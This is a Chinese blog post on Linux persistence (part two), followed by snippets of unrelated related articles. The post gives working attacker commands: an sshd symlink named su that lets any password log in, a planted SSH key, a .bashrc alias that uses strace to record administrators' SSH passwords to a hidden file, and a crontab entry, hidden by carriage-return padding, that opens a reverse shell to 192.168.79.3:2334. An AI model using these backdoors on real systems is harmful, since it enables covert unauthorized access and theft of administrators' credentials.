linux权限维持(二)

server/2024/10/11 7:26:38/

3.SSH 后门

3.1 SSH 软连接后门

       软连接后门的原理是利用了 PAM 配置文件的作用,将 sshd 文件软连接名称设置为 su ,这样应用在启动过 程中他会去PAM 配置文件夹中寻找是否存在对应名称的配置信息 (su) ,然而 su pam_rootok 只检测 uid 0 即可认证成功,这样就导致了可以使用任意密码登录 :
ln -sf /usr/sbin/sshd /usr/local/su;/usr/local/su -oPort=12345
优点:
        能够绕过一些网络设备的安全流量监测,但是本地在查看监听端口时会暴露端口,建议设置成 8081, 8080 等端口。

3.2 SSH 公钥免密码登陆

ssh-keygen -t rsa //生成公钥
cat id_rsa.pub > authorized_keys //将id_rsa.pub内容放到目标.ssh/authorized_keys里
       这个是老生常谈的公钥免登陆,这种用法不只是用在留后门,还可以在一些特殊情况下获取一个交互的 shell,如 struts 写入公钥, oracle 写入公钥连接, Redis 未授权访问等情景。
chmod 600 id_rsa
ssh -i id_rsa root@192.168.12.168

3.3 SSH Keylogger记录密码

       当前系统如果存在 strace 的话,它可以跟踪任何进程的系统调用和数据,可以利用 strace 系统调试工具获取 ssh 的读写连接的数据,以达到抓取管理员登陆其他机器的明文密码的作用。
      在当前用户的 .bashrc 里新建一条 alias ,这样可以抓取他登陆其他机器的 ssh 密码
alias ssh='strace -o /tmp/.sshpwd-`date '+%d%h%m%s'`.log -e read,write,connect -s2048 ssh'
设置完毕后,倘若当前系统不存在 alias ,那么就会影响其正常使用:
grep -A 9 'password' .ssh-2210月101634901802.log

4.Ubuntu利用Cron机制安装后门

       首先,说明一下, Cron ubuntu 下默认启动的用户执行计划。它会按照设置,在固定的周期或者按照 一定时间执行某一个任务。它是一项服务,你可以使用基本的服务查看状态命令等查看信息。
service cron status
      查看普通用户的执行计划。(如果你显示没有计划不要着急,后面加上 cron.allow cron.deny )就有了
crontab -l
查看crontab的选项
查看具体的用户的执行计划
crontab -e 编辑任务
crontab -l 列出任务
(crontab -l;printf "* * * * * /bin/bash -c '/bin/sh -i >&
/dev/tcp/192.168.79.3/2334 0>&1';\r%100c\n")|crontab -
把反弹 shell 加入计划任务里执行
计划任务路径:
cat /var/spool/cron/crontabs/root
root是计划任务的文件 使用cat是看不到内容的 因为是用了某些特殊字符 导致某些内容被隐藏可以使用 crontab -e 编辑任务可以看到反弹shell的内容

------------------------------未完待续,请看下篇----------------------------


http://www.ppmy.cn/server/13567.html

相关文章

Python基础:【习题系列】判断题(一)

在Python中,变量名可以以数字开头。 答案:错 Python中的列表和元组都可以通过索引访问。 答案:对 Python中的字符串是可变数据类型。 答案:错 在Python中使用运算符可以检查两个变量是否具有相同的身份。 答案:错 …

【k8s】(四)kubernetes1.29.4离线部署之-组件安装

(一)kubernetes1.29.4离线部署之-安装文件准备 (二)kubernetes1.29.4离线部署之-镜像文件准备 (三)kubernetes1.29.4离线部署之-环境初始化 (四)kubernetes1.29.4离线部署之-组件安装…

Spring - 3 ( 12000 字 Spring 入门级教程 )

一:Spring Web MVC入门 1.1 响应 在我们前⾯的代码例子中,都已经设置了响应数据, Http 响应结果可以是数据, 也可以是静态页面,也可以针对响应设置状态码, Header 信息等. 1.2 返回静态页面 创建前端页面 index.html(注意路径) html代码 …

ubuntu22.04 安装并使用 DirBuster

DirBuster是一个用于对Web应用程序进行目录和文件名枚举的工具,通常来说它是一个独立的Java程序,所以你应该看到一个.jar文件,而不是PHP文件。 要下载DirBuster,你需要访问OWASP的官方资源或者使用搜索引擎找到合适的下载链接。一…

Ubuntu 22.04上text-generation-webui service文件编写思路

自从拥抱了ai,coding工作简单不少。 由于不会翻墙,主要靠文心一言活了。最近用的时候会遇到服务有点忙的情况,于是就想把家中电脑的text-generation-webui给跑起来,在办公室使用。经过一番折腾(百度,bing了…

达梦(DM)数据库管理表

达梦DM数据库管理表 管理表管理表的准则表的存储空间上限表的存储位置 创建表创建普通表指定表的聚集索引查询建表更改表删除表清空表查看表定义查看表空间使用 表是数据库中数据存储的基本单元,是对用户数据进行读和操纵的逻辑实体,表由列和行组成&…

【leetcode面试经典150题】63. 删除链表的倒数第 N 个结点(C++)

【leetcode面试经典150题】专栏系列将为准备暑期实习生以及秋招的同学们提高在面试时的经典面试算法题的思路和想法。本专栏将以一题多解和精简算法思路为主,题解使用C语言。(若有使用其他语言的同学也可了解题解思路,本质上语法内容一致&…

Amazon云计算AWS之[2]弹性计算云EC2

文章目录 说明EC2基本架构Amazon机器映象(AMI)实例(Instance)弹性块存储(EBS) EC2关键技术地理区域和可用区域EC2通信机制弹性负载均衡监控服务自动缩放服务管理控制台 EC2安全及容错机制EC2弹性IP地址 说明…